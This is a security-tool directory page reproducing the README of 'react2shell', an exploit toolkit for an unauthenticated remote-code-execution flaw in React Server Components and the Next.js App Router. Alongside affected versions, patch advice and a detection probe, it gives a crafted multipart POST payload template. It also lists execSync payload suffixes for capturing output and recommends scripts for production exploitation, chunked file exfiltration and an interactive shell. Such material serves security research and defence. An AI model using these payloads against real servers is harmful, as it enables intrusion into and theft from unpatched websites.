Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/freeqaz/react2shell
Dynamic Analysis (Sandboxing)Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationPayload Development
GitHubfreeqaz/react2shell

react2shell

RCE exploit toolkit for CVE-2025-55182 and CVE-2025-66478 in React Server Components. Includes multiple exploit variants, detection scripts, a vulnerable test server, and a deep technical analysis of the Flight protocol deserialization vulnerability.

681869 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
Share

React2Shell: RCE 0-day in React Server Components

CVE-2025-55182 (React) and CVE-2025-66478 (Next.js)

This repository contains exploit code for authorized security testing and educational purposes only.

See also: Multiple researchers have published analyses of this vulnerability. Check the References section for additional perspectives, exploit techniques, and detection methods.

What is it?

On Wednesday, December 3rd, 2025, a critical Remote Code Execution vulnerability in React Server Components was publicly disclosed. The bug, dubbed "React2Shell," allows an unauthenticated attacker to execute arbitrary code on any server running vulnerable versions of React RSC or Next.js App Router by sending a single HTTP request.

Given how ubiquitous Next.js has become - it powers a significant portion of the modern web - the impact of this vulnerability is severe. Any Next.js application using the App Router (the default for new projects since Next.js 13) with RSC enabled is vulnerable. No special configuration. No specific endpoints. Just a POST request to any route.

The vulnerability lives in React's "Flight" protocol, the serialization format used to pass data between server and client in React Server Components. A missing hasOwnProperty check during deserialization allows prototype chain traversal, ultimately reaching the JavaScript Function constructor to execute attacker-controlled code.

The flaw exists in React's react-server-dom-webpack, , and packages. Next.js, as the dominant RSC consumer, inherits the vulnerability through its App Router.

react-server-dom-turbopack
react-server-dom-parcel

Who is impacted?

Many services are potentially vulnerable. Next.js is one of the most popular React frameworks, used by companies of all sizes - from startups to enterprises. The App Router with React Server Components has been the default architecture for new Next.js projects since version 13, meaning most modern Next.js deployments are affected.

Any application using:

  • React Server Components with vulnerable react-server-dom-* packages (19.0.0 - 19.2.0)
  • Next.js App Router versions 15.x (before 15.0.5) and 16.x (before 16.0.7)

This includes production deployments on Vercel, AWS, self-hosted infrastructure, and anywhere else Next.js App Router applications run.

Not affected:

  • Next.js Pages Router applications (no RSC)
  • Next.js 13.x and 14.x stable releases
  • Applications using only React client-side rendering
  • Edge Runtime deployments (no process.mainModule available)

Affected Versions

React Server Components

PackageVulnerablePatched
react-server-dom-webpack19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1+
react-server-dom-turbopack19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1+
react-server-dom-parcel19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1+

Next.js

Version LineVulnerablePatched
15.0.x< 15.0.515.0.5+
15.1.x< 15.1.915.1.9+
15.2.x< 15.2.615.2.6+
15.3.x< 15.3.615.3.6+
15.4.x< 15.4.815.4.8+
15.5.x< 15.5.715.5.7+
16.0.x< 16.0.716.0.7+

Mitigation

Upgrade immediately. There are no workarounds.

For Next.js applications:

root@kitploit:~
npm install next@latest
# or
pnpm update next

For direct React RSC usage:

root@kitploit:~
npm install react-server-dom-webpack@latest

Verify your installed versions:

root@kitploit:~
npm ls next react-server-dom-webpack react-server-dom-turbopack

How the exploit works

Exploit Requirements

  1. A server running vulnerable React Server Components (via Next.js App Router or direct RSC usage)
  2. Network access to send an HTTP POST request
  3. That's it. No authentication. No specific endpoint. Any route works.

The Attack

Multiple attack vectors have been discovered for this vulnerability. The most common - and the one that works without any prerequisites - uses prototype pollution via React's Flight protocol reference system.

The exploit sends a crafted multipart POST request with a Next-Action header. The payload abuses the reference system to:

  1. Traverse the prototype chain via $1:__proto__:then
  2. Construct a fake "chunk" object that mimics React's internal Chunk class
  3. Trick the deserializer into calling the JavaScript Function constructor
  4. Execute arbitrary code when the resulting function is invoked as a Promise thenable
root@kitploit:~
POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x

------Boundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"

"$@0"
------Boundary--

The code executes during deserialization, before any action ID validation occurs. This means any Next-Action header value triggers the vulnerable code path - no valid action ID is required.

Other attack vectors exist, including $F function references and direct module gadgets. These typically require a valid action ID. See Alternative Attack Vectors for details.

The Root Cause

React's Flight protocol resolves references like $1:path:to:value by splitting on colons and traversing the object:

root@kitploit:~
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // No hasOwnProperty check!
}

The Irony: At the top of this very file, line 35:

root@kitploit:~
import hasOwnProperty from 'shared/hasOwnProperty';

The guard was imported. It was available. It just wasn't used in the one loop where it mattered most.

This single missing check allows $1:__proto__:then to traverse from a chunk object, up the prototype chain, to Chunk.prototype.then - a function that processes Promise-like objects. By crafting a fake chunk with the right properties, we control what code gets executed.

Reproducing Locally

Clone the vulnerable test server:

root@kitploit:~
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev

In another terminal:

root@kitploit:~
./detect.sh http://localhost:3443

A vulnerable server returns HTTP 500 with E{"digest" in the response body. To demonstrate RCE:

root@kitploit:~
./exploit-redirect.sh http://localhost:3443 "id"

Command output appears in the response. For interactive exploration:

root@kitploit:~
./shell.sh http://localhost:3443

What's in This Repo

Vulnerable Test Server

The vulnerable-next-server/ directory contains a pre-configured Next.js 16.0.6 + React 19.2.0 application for safe local testing. It runs on port 3443 by default. This is a minimal App Router setup demonstrating that default configurations are vulnerable.

Exploit Scripts

We developed multiple exploit variants to handle different scenarios:

ScriptHTTPOutputProductionNotes
exploit-redirect.sh303x-action-redirect headerYesRecommended. No prerequisites.
exploit-throw.sh500Error response bodyNoDev mode only (errors sanitized in prod).
exploit-blind.sh200Server-side onlyYesFire-and-forget. Use for OOB exfil.
exploit-urlencoded.sh303x-action-redirect headerYesDifferent WAF signature. Requires action ID.
exploit-reflect.sh200Response bodyYesStealthiest. Requires action ID.

Production Note: React strips error messages in production builds, breaking the throw method. Only exploit-redirect.sh reliably captures command output in production without prerequisites. The redirect URL is stored in the error's digest property (metadata), which isn't sanitized - unlike message which becomes {digest: "..."} only.

Utility Scripts:

  • detect.sh - Non-destructive vulnerability probe (no code execution)
  • enumerate-actions.sh - Discovers valid Server Action IDs from target HTML
  • exfil-file.sh - Chunked file exfiltration (auto-handles large files)
  • shell.sh - Interactive pseudo-shell over RCE

The redirect method is recommended because it works in production, requires no prerequisites, and returns command output directly. It works by throwing a specially crafted NEXT_REDIRECT error - the output is base64-encoded into the redirect URL and returned in the x-action-redirect header.

For detailed usage of each script, see USAGE.md.

How to detect vulnerable servers

Quick Detection

root@kitploit:~
./detect.sh https://target.com

This sends a minimal probe that triggers the vulnerable code path without executing arbitrary code.

Vulnerable server response:

  • HTTP status: 500
  • Content-Type: text/x-component
  • Body contains: E{"digest"

Patched or non-RSC server: Returns 404, different error format, or no Flight protocol response.

Manual Detection

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'

This probe references a non-existent property on an empty object. Vulnerable servers crash trying to access {}.a.a, returning 500. Patched servers have a hasOwnProperty guard that prevents the crash.

Identifying Next.js App Router

Look for these indicators:

  • RSC payload in HTML: <script> tags containing Flight protocol data (0:, 1:, etc.)
  • x-nextjs-cache or x-nextjs-matched-path headers
  • /_next/ static asset paths
  • Server Action IDs in HTML: $ACTION_ID_ patterns in hidden form fields

Technical Deep Dive

The Attack Flow

The following diagram illustrates how a single HTTP request achieves remote code execution:

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant N as Next.js
    participant F as Flight Parser
    participant JS as JS Engine

    A->>N: POST with Next-Action header + malicious payload
    N->>F: Parse multipart form data
    F->>JS: await getRoot - returns chunk as thenable

    rect rgb(80, 20, 20)
        Note over F,JS: VULNERABILITY - No hasOwnProperty check
        JS->>F: chunk.then parses $1:__proto__:then
        F-->>F: Traverses to Chunk.prototype.then
    end

    F->>JS: resolve(attackerObject)
    Note over JS: JS Promise spec: resolve(thenable)<br/>calls thenable.then()
    JS->>F: fakeChunk.then() with attacker's _response

    rect rgb(80, 20, 20)
        Note over F,JS: EXPLOITATION - Attacker controls _response
        F->>F: $B0 → _formData.get(_prefix + "0")
        Note over F: _formData.get = Function constructor<br/>_prefix = malicious code string
        F->>JS: Function(code) invoked as thenable
    end

    Note over JS: RCE - execSync() runs

    rect rgb(20, 60, 20)
        Note over A,JS: OUTPUT EXFILTRATION (redirect method)
        JS-->>F: throw NEXT_REDIRECT with base64(output)
        F-->>N: Error propagates up
        N-->>A: HTTP 303 + x-action-redirect header
    end

The Flight Protocol

React Server Components use a custom serialization format called "Flight" to stream component trees from server to client. It uses prefix codes for different value types:

  • $1, $2, ... - References to other chunks by ID
  • $@0 - Raw chunk object reference (returns the chunk itself, not its value)
  • $B0 - Blob reference (triggers _formData.get(_prefix + id))
  • $1:path:to:prop - Traverses a path on a referenced chunk's value

The vulnerability exploits the combination of $@ (raw reference) and colon-delimited paths to access __proto__.

The Complete Attack Chain

Phase 1: Request Processing

  1. POST with Next-Action header triggers RSC action handling
  2. Busboy parses multipart form fields into chunk storage
  3. await getRoot(response) returns chunk 0 as a thenable

Phase 2: Prototype Traversal

  1. Chunk has a then method - JS Promise spec calls thenable.then(resolve, reject)
  2. Our payload is parsed; $1:__proto__:then resolves to Chunk.prototype.then
  3. Fake chunk object created with then, status: "resolved_model", and _response

Phase 3: Code Execution

  1. resolve(ourObject) triggers another then() call (JS thenable spec)
  2. Chunk.prototype.then runs using our controlled _response object
  3. $B0 triggers _formData.get(_prefix + "0") - both attacker-controlled
  4. Constructed Function called as thenable → RCE

Phase 4: Output Exfiltration (optional, redirect method)

  1. Payload throws NEXT_REDIRECT error with base64-encoded command output
  2. Next.js catches redirect, sets x-action-redirect header before URL validation
  3. HTTP 303 returned to attacker with output in header

Output Capture Strategies

The constructed Function is called as a thenable: fn(resolve, reject). How we handle this determines whether we get output back:

StrategyPayload SuffixHow It Works
BlindexecSync('CMD');0Executes but never resolves - connection hangs, no output
Throwthrow execSync('CMD').toString()Rejects Promise, output in error body (dev mode only)
Redirectthrow {digest:'NEXT_REDIRECT;...;'+b64(output)}Abuses Next.js redirect handling, output in header
Reflectarguments[0](https://github.com/freeqaz/react2shell/blob/master/%5BexecSync%28%27CMD%27).toString()])Resolves Promise with output as action argument (requires valid action ID)

Recommended: Redirect. Works in production, no prerequisites, output in x-action-redirect header.

The blind approach hangs because the Promise never settles - await blocks forever. This is useful for fire-and-forget scenarios (reverse shells, out-of-band exfil via curl).

Alternative Attack Vectors

The core vulnerability has been exploited through three distinct attack classes. This repository uses the first approach; other PoCs demonstrate the alternatives:

Attack ClassMechanismAction ID RequiredExample PoC
Prototype Pollution$1:__proto__:then traversal to Chunk.prototypeNoreact2shell, lachlan2k, joe-desimone
$F Function Reference$F1 + action#constructor to reach FunctionYesshellinteractive
Module Gadgetmodule#export syntax (e.g., child_process#execSync)Variesejpir research

Why prototype pollution doesn't require an action ID: Multipart form parsing feeds chunks to the Flight deserializer immediately. RCE occurs in getOutlinedModel() during chunk reference resolution - before Next.js validates the action ID. URL-encoded requests validate the action ID first (different code path at action-handler.ts:768).

Why $F reference requires an action ID: The $F reference triggers loadServerReference(), which performs a manifest lookup. If the action doesn't exist, the request fails before code execution.

For detailed analysis of all PoC implementations and their tradeoffs, see external-pocs/COMPARISON.md.

Production vs Development

React strips error details in production builds. This affects the throw-based exfiltration:

Development:

root@kitploit:~
{"digest":"...","name":"Error","message":"uid=501(free)...","stack":[...]}

Production:

root@kitploit:~
{"digest":"..."}

The redirect method bypasses this because the redirect URL is stored in the digest property, not message. The header is set unconditionally before URL validation, so even invalid URLs get the header set.

Acknowledgments

The key exploitation insight - using $@ raw chunk references to create a self-referential fake chunk - is credited to maple3142. The detection methodology referenced here comes from Searchlight Cyber / Assetnote.

References

Official Disclosures:

  • CVE-2025-55182 - React Server Components RCE
  • CVE-2025-66478 - Next.js downstream impact
  • React Security Advisory - Official React disclosure

Community Research:

AuthorContributionAttack PathNotable Features
lachlan2kOriginal discovererPrototype pollutionArray.map chaining, 5-chunk structure, Waku support
ejpirGadget researchAll pathsModule gadget catalog, persistence attacks, data URI path
joe-desimonePython toolingPrototype pollutionReverse shell helper, callback exfil, timeout detection
labubusDest / MrR0b0t19Interactive shell$F function referencePython REPL, file upload/download, built-in test suite
Searchlight CyberDetection methods—High-fidelity detection methodology, WAF signatures

For detailed comparison of all PoC implementations, see external-pocs/COMPARISON.md.

Background:

  • React Flight Protocol - Understanding RSC serialization

License

Code is licensed under the MIT License. Documentation (*.md files) is licensed under CC-BY-SA 4.0.

Download Tool